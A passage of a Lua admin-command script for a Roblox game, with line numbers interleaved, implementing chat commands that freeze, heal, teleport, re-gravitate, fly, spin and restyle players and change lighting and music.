if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
1117
end
1118
end
1119
end))
1120
end
1121
end
1122
 
1123
if msg:lower():sub(1,5) == "thaw " then
1124
local plrz = GetPlr(plr, msg:lower():sub(6))
1125
for i, v in pairs(plrz) do
1126
coroutine.resume(coroutine.create(function()
1127
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1128
for a, obj in pairs(v.Character:children()) do
1129
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1130
end
1131
end
1132
end))
1133
end
1134
end
1135
 
1136
if msg:lower():sub(1,5) == "heal " then
1137
local plrz = GetPlr(plr, msg:lower():sub(6))
1138
for i, v in pairs(plrz) do
1139
coroutine.resume(coroutine.create(function()
1140
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1141
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1142
end
1143
end))
1144
end
1145
end
1146
 
1147
if msg:lower():sub(1,4) == "god " then
1148
local plrz = GetPlr(plr, msg:lower():sub(5))
1149
for i, v in pairs(plrz) do
1150
coroutine.resume(coroutine.create(function()
1151
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1152
v.Character.Humanoid.MaxHealth = math.huge
1153
v.Character.Humanoid.Health = 9e9
1154
end
1155
end))
1156
end
1157
end
1158
 
1159
if msg:lower():sub(1,6) == "ungod " then
1160
local plrz = GetPlr(plr, msg:lower():sub(7))
1161
for i, v in pairs(plrz) do
1162
coroutine.resume(coroutine.create(function()
1163
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1164
v.Character.Humanoid.MaxHealth = 100
1165
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1166
end
1167
end))
1168
end
1169
end
1170
 
1171
if msg:lower():sub(1,8) == "ambient " then
1172
local chk1 = msg:lower():sub(9):find(" ") + 8
1173
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1174
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1175
end
1176
 
1177
if msg:lower():sub(1,11) == "brightness " then
1178
game.Lighting.Brightness = msg:sub(12)
1179
end
1180
 
1181
if msg:lower():sub(1,5) == "time " then
1182
game.Lighting.TimeOfDay = msg:sub(6)
1183
end
1184
 
1185
if msg:lower():sub(1,9) == "fogcolor " then
1186
local chk1 = msg:lower():sub(10):find(" ") + 9
1187
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1188
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1189
end
1190
 
1191
if msg:lower():sub(1,7) == "fogend " then
1192
game.Lighting.FogEnd = msg:sub(8)
1193
end
1194
 
1195
if msg:lower():sub(1,9) == "fogstart " then
1196
game.Lighting.FogStart = msg:sub(10)
1197
end
1198
 
1199
if msg:lower():sub(1,7) == "btools " then
1200
local plrz = GetPlr(plr, msg:lower():sub(8))
1201
for i, v in pairs(plrz) do
1202
coroutine.resume(coroutine.create(function()
1203
if v and v:findFirstChild("Backpack") then
1204
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1205
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1206
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1207
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1208
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1209
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1210
local sb
1211
local hs
1212
local pdist
1213
 
1214
script.Parent.Selected:connect(function(mouse)
1215
if not mouse then return end
1216
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1217
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1218
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1219
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1220
hs.MouseButton1Down:connect(function() pdist = 0 end)
1221
end)
1222
 
1223
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1224
end
1225
end))
1226
end
1227
end
1228
 
1229
if msg:lower():sub(1,12) == "startergive " then
1230
local chk1 = msg:lower():sub(13):find(" ") + 12
1231
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
1232
for i, v in pairs(plrz) do
1233
coroutine.resume(coroutine.create(function()
1234
if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
1235
for a, tool in pairs(game.Lighting:children()) do
1236
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1237
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
1238
end
1239
end
1240
end
1241
end))
1242
end
1243
end
1244
 
1245
if msg:lower():sub(1,5) == "give " then
1246
local chk1 = msg:lower():sub(6):find(" ") + 5
1247
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1248
for i, v in pairs(plrz) do
1249
coroutine.resume(coroutine.create(function()
1250
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
1251
for a, tool in pairs(game.Lighting:children()) do
1252
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1253
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1254
end
1255
end
1256
end
1257
end))
1258
end
1259
end
1260
 
1261
if msg:lower():sub(1,12) == "removetools " then
1262
local plrz = GetPlr(plr, msg:lower():sub(13))
1263
for i, v in pairs(plrz) do
1264
coroutine.resume(coroutine.create(function()
1265
if v and v.Character and v:findFirstChild("Backpack") then
1266
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1267
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1268
end
1269
end))
1270
end
1271
end
1272
 
1273
if msg:lower():sub(1,5) == "rank " then
1274
local chk1 = msg:lower():sub(6):find(" ") + 5
1275
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1276
for i, v in pairs(plrz) do
1277
coroutine.resume(coroutine.create(function()
1278
if v and v:IsInGroup(msg:sub(chk1+1)) then
1279
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1280
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1281
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1282
end
1283
end))
1284
end
1285
end
1286
 
1287
if msg:lower():sub(1,7) == "damage " then
1288
local chk1 = msg:lower():sub(8):find(" ") + 7
1289
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1290
for i, v in pairs(plrz) do
1291
coroutine.resume(coroutine.create(function()
1292
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1293
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1294
end
1295
end))
1296
end
1297
end
1298
 
1299
if msg:lower():sub(1,5) == "grav " then
1300
local plrz = GetPlr(plr, msg:lower():sub(6))
1301
for i, v in pairs(plrz) do
1302
coroutine.resume(coroutine.create(function()
1303
if v and v.Character and v.Character:findFirstChild("Torso") then
1304
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1305
end
1306
end))
1307
end
1308
end
1309
 
1310
if msg:lower():sub(1,8) == "setgrav " then
1311
local chk1 = msg:lower():sub(9):find(" ") + 8
1312
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1313
for i, v in pairs(plrz) do
1314
coroutine.resume(coroutine.create(function()
1315
if v and v.Character and v.Character:findFirstChild("Torso") then
1316
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1317
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1318
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1319
end
1320
end))
1321
end
1322
end
1323
 
1324
if msg:lower():sub(1,7) == "nograv " then
1325
local plrz = GetPlr(plr, msg:lower():sub(8))
1326
for i, v in pairs(plrz) do
1327
coroutine.resume(coroutine.create(function()
1328
if v and v.Character and v.Character:findFirstChild("Torso") then
1329
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1330
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1331
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1332
end
1333
end))
1334
end
1335
end
1336
 
1337
if msg:lower():sub(1,7) == "health " then
1338
local chk1 = msg:lower():sub(8):find(" ") + 7
1339
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1340
for i, v in pairs(plrz) do
1341
coroutine.resume(coroutine.create(function()
1342
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1343
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1344
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1345
end
1346
end))
1347
end
1348
end
1349
 
1350
if msg:lower():sub(1,6) == "speed " then
1351
local chk1 = msg:lower():sub(7):find(" ") + 6
1352
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1353
for i, v in pairs(plrz) do
1354
coroutine.resume(coroutine.create(function()
1355
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1356
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1357
end
1358
end))
1359
end
1360
end
1361
 
1362
if msg:lower():sub(1,5) == "team " then
1363
local chk1 = msg:lower():sub(6):find(" ") + 5
1364
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1365
for i, v in pairs(plrz) do
1366
coroutine.resume(coroutine.create(function()
1367
if v and game:findFirstChild("Teams") then
1368
for a, tm in pairs(game.Teams:children()) do
1369
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1370
end
1371
end
1372
end))
1373
end
1374
end
1375
 
1376
if msg:lower():sub(1,6) == "place " then
1377
local chk1 = msg:lower():sub(7):find(" ") + 6
1378
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1379
for i, v in pairs(plrz) do
1380
coroutine.resume(coroutine.create(function()
1381
if v and v:findFirstChild("PlayerGui") then
1382
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1383
end
1384
end))
1385
end
1386
end
1387
 
1388
if msg:lower():sub(1,3) == "tp " then
1389
local chk1 = msg:lower():sub(4):find(" ") + 3
1390
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1391
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1392
for i, v in pairs(plrz) do
1393
coroutine.resume(coroutine.create(function()
1394
for i2, v2 in pairs(plrz2) do
1395
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1396
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1397
end
1398
end
1399
end))
1400
end
1401
end
1402
 
1403
if msg:lower():sub(1,7) == "change " then
1404
local chk1 = msg:lower():sub(8):find(" ") + 7
1405
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1406
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1407
for i, v in pairs(plrz) do
1408
coroutine.resume(coroutine.create(function()
1409
if v and v:findFirstChild("leaderstats") then
1410
for a, st in pairs(v.leaderstats:children()) do
1411
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1412
end
1413
end
1414
end))
1415
end
1416
end
1417
 
1418
if msg:lower():sub(1,6) == "shirt " then
1419
local chk1 = msg:lower():sub(7):find(" ") + 6
1420
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1421
for i, v in pairs(plrz) do
1422
coroutine.resume(coroutine.create(function()
1423
if v and v.Character then
1424
for i,v in pairs(v.Character:children()) do
1425
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1426
end
1427
end
1428
end))
1429
end
1430
end
1431
 
1432
if msg:lower():sub(1,6) == "pants " then
1433
local chk1 = msg:lower():sub(7):find(" ") + 6
1434
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1435
for i, v in pairs(plrz) do
1436
coroutine.resume(coroutine.create(function()
1437
if v and v.Character then
1438
for i,v in pairs(v.Character:children()) do
1439
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1440
end
1441
end
1442
end))
1443
end
1444
end
1445
 
1446
if msg:lower():sub(1,5) == "face " then
1447
local chk1 = msg:lower():sub(6):find(" ") + 5
1448
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1449
for i, v in pairs(plrz) do
1450
coroutine.resume(coroutine.create(function()
1451
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
1452
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1453
end
1454
end))
1455
end
1456
end
1457
 
1458
---------------------
1459
--   FunCommands   --
1460
---------------------
1461
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1462
       
1463
if msg:lower():sub(1,8) == "swagify " then
1464
local plrz = GetPlr(plr, msg:lower():sub(9))
1465
for i, v in pairs(plrz) do
1466
coroutine.resume(coroutine.create(function()
1467
if v and v.Character then
1468
for i,v in pairs(v.Character:children()) do
1469
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1470
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1471
end
1472
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1473
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1474
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1475
local torso = plr.Character.Torso
1476
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1477
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1478
p.Size = Vector3.new(.2,.2,.2)
1479
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1480
local motor1 = Instance.new("Motor", p)
1481
motor1.Part0 = p
1482
motor1.Part1 = torso
1483
motor1.MaxVelocity = .01
1484
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1485
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1486
local wave = false
1487
repeat wait(1/44)
1488
local ang = 0.1
1489
local oldmag = torso.Velocity.magnitude
1490
local mv = .002
1491
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1492
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1493
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1494
motor1.DesiredAngle = -ang
1495
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1496
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1497
if torso.Velocity.magnitude < .1 then wait(.1) end
1498
until not p or p.Parent ~= torso.Parent
1499
script:Destroy()
1500
]] cl.Parent = v.PlayerGui cl.Disabled = false
1501
end
1502
end))
1503
end
1504
end
1505
 
1506
if msg:lower():sub(1,6) == "music " then
1507
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1508
local id = msg:sub(7)
1509
local pitch = 1
1510
if tostring(id):lower():find("caramell") then id = 2303479 end
1511
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1512
if tostring(id):find("rick") then id = 2027611 end
1513
if tostring(id):find("halo") then id = 1034065  end
1514
if tostring(id):find("pokemon") then id = 1372261 end
1515
if tostring(id):find("cursed") then id = 1372257 end
1516
if tostring(id):find("extreme") then id = 11420933 end
1517
if tostring(id):find("awaken") then id = 27697277 end
1518
if tostring(id):find("alone") then id = 27697392 end
1519
if tostring(id):find("mario") then id = 1280470 end
1520
if tostring(id):find("choir") then id = 1372258 end
1521
if tostring(id):find("chrono") then id = 1280463 end
1522
if tostring(id):find("dotr") then id = 11420922 end
1523
if tostring(id):find("entertain") then id = 27697267 end
1524
if tostring(id):find("fantasy") then id = 1280473 end
1525
if tostring(id):find("final") then id = 1280414 end
1526
if tostring(id):find("emblem") then id = 1372259 end
1527
if tostring(id):find("flight") then id = 27697719 end
1528
if tostring(id):find("banjo") then id = 27697298 end
1529
if tostring(id):find("gothic") then id = 27697743 end
1530
if tostring(id):find("hiphop") then id = 27697735 end
1531
if tostring(id):find("intro") then id = 27697707 end
1532
if tostring(id):find("mule") then id = 1077604 end
1533
if tostring(id):find("film") then id = 27697713 end
1534
if tostring(id):find("nezz") then id = 8610025 end
1535
if tostring(id):find("angel") then id = 1372260 end
1536
if tostring(id):find("resist") then id = 27697234 end
1537
if tostring(id):find("schala") then id = 5985787 end
1538
if tostring(id):find("organ") then id = 11231513 end
1539
if tostring(id):find("tunnel") then id = 9650822 end
1540
if tostring(id):find("spanish") then id = 5982975 end
1541
if tostring(id):find("venom") then id = 1372262 end
1542
if tostring(id):find("wind") then id = 1015394 end
1543
if tostring(id):find("guitar") then id = 5986151 end
1544
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1545
end
1546
 
1547
if msg:lower() == "stopmusic" then
1548
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1549
end
1550
 
1551
if msg:lower() == "musiclist" then
1552
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1553
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1554
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1555
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1556
end
1557
 
1558
if msg:lower():sub(1,4) == "fly " then
1559
local plrz = GetPlr(plr, msg:lower():sub(5))
1560
for i, v in pairs(plrz) do
1561
coroutine.resume(coroutine.create(function()
1562
if v and v:findFirstChild("PlayerGui") then
1563
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
1564
local mouse = game.Players.LocalPlayer:GetMouse()
1565
repeat wait() until mouse
1566
local plr = game.Players.LocalPlayer
1567
local torso = plr.Character.Torso
1568
local flying = true
1569
local deb = true
1570
local ctrl = {f = 0, b = 0, l = 0, r = 0}
1571
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
1572
local maxspeed = 50
1573
local speed = 0
1574
function Fly()
1575
local bg = Instance.new("BodyGyro", torso)
1576
bg.P = 9e4
1577
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
1578
bg.cframe = torso.CFrame
1579
local bv = Instance.new("BodyVelocity", torso)
1580
bv.velocity = Vector3.new(0,0.1,0)
1581
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
1582
repeat wait()
1583
plr.Character.Humanoid.PlatformStand = true
1584
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
1585
speed = speed+.5+(speed/maxspeed)
1586
if speed > maxspeed then
1587
speed = maxspeed
1588
end
1589
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
1590
speed = speed-1
1591
if speed < 0 then
1592
speed = 0
1593
end
1594
end
1595
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
1596
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
1597
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
1598
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
1599
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
1600
else
1601
bv.velocity = Vector3.new(0,0.1,0)
1602
end
1603
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
1604
until not flying
1605
ctrl = {f = 0, b = 0, l = 0, r = 0}
1606
lastctrl = {f = 0, b = 0, l = 0, r = 0}
1607
speed = 0
1608
bg:Destroy()
1609
bv:Destroy()
1610
plr.Character.Humanoid.PlatformStand = false
1611
end
1612
mouse.KeyDown:connect(function(key)
1613
if key:lower() == "e" then
1614
if flying then flying = false
1615
else
1616
flying = true
1617
Fly()
1618
end
1619
elseif key:lower() == "w" then
1620
ctrl.f = 1
1621
elseif key:lower() == "s" then
1622
ctrl.b = -1
1623
elseif key:lower() == "a" then
1624
ctrl.l = -1
1625
elseif key:lower() == "d" then
1626
ctrl.r = 1
1627
end
1628
end)
1629
mouse.KeyUp:connect(function(key)
1630
if key:lower() == "w" then
1631
ctrl.f = 0
1632
elseif key:lower() == "s" then
1633
ctrl.b = 0
1634
elseif key:lower() == "a" then
1635
ctrl.l = 0
1636
elseif key:lower() == "d" then
1637
ctrl.r = 0
1638
end
1639
end)
1640
Fly()]]
1641
cl.Parent = v.PlayerGui cl.Disabled = false
1642
end
1643
end))
1644
end
1645
end
1646
 
1647
if msg:lower():sub(1,6) == "unfly " then
1648
local plrz = GetPlr(plr, msg:lower():sub(7))
1649
for i, v in pairs(plrz) do
1650
coroutine.resume(coroutine.create(function()
1651
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1652
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1653
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1654
wait(.1) v.Character.Humanoid.PlatformStand = false
1655
end
1656
end))
1657
end
1658
end
1659
 
1660
if msg:lower() == "disco" then
1661
for i, v in pairs(lobjs) do v:Destroy() end
1662
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1663
game.Lighting.Ambient = color
1664
game.Lighting.FogColor = color
1665
until nil]]
1666
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1667
end
1668
 
1669
if msg:lower() == "flash" then
1670
for i, v in pairs(lobjs) do v:Destroy() end
1671
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
1672
game.Lighting.Ambient = Color3.new(1,1,1)
1673
game.Lighting.FogColor = Color3.new(1,1,1)
1674
game.Lighting.Brightness = 1
1675
game.Lighting.TimeOfDay = 14
1676
wait(.1)
1677
game.Lighting.Ambient = Color3.new(0,0,0)
1678
game.Lighting.FogColor = Color3.new(0,0,0)
1679
game.Lighting.Brightness = 0
1680
game.Lighting.TimeOfDay = 0
1681
until nil]]
1682
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1683
end
1684
 
1685
if msg:lower():sub(1,5) == "spin " then
1686
local plrz = GetPlr(plr, msg:lower():sub(6))
1687
for i, v in pairs(plrz) do
1688
coroutine.resume(coroutine.create(function()
1689
if v and v.Character and v.Character:findFirstChild("Torso") then
1690
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1691
local torso = v.Character:findFirstChild("Torso")
1692
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1693
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1694
until not bg or bg.Parent ~= torso
1695
end
1696
end))
1697
end
1698
end
1699
 
1700
if msg:lower():sub(1,7) == "unspin " then
1701
local plrz = GetPlr(plr, msg:lower():sub(8))
1702
for i, v in pairs(plrz) do
1703
coroutine.resume(coroutine.create(function()
1704
if v and v.Character and v.Character:findFirstChild("Torso") then
1705
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1706
end
1707
end))
1708
end
1709
end
1710
 
1711
if msg:lower():sub(1,4) == "dog " then
1712
local plrz = GetPlr(plr, msg:lower():sub(5))
1713
for i, v in pairs(plrz) do
1714
coroutine.resume(coroutine.create(function()
1715
if v and v.Character and v.Character:findFirstChild("Torso") then
1716
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1717
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1718
v.Character.Torso.Transparency = 1
1719
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1720
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1721
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1722
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1723
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1724
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1725
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1726
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1727
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1728
end
1729
end))
1730
end
1731
end
1732
 
1733
if msg:lower():sub(1,6) == "undog " then
1734
local plrz = GetPlr(plr, msg:lower():sub(7))
1735
for i, v in pairs(plrz) do
1736
coroutine.resume(coroutine.create(function()
1737
if v and v.Character and v.Character:findFirstChild("Torso") then
1738
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1739
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1740
v.Character.Torso.Transparency = 0
1741
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1742
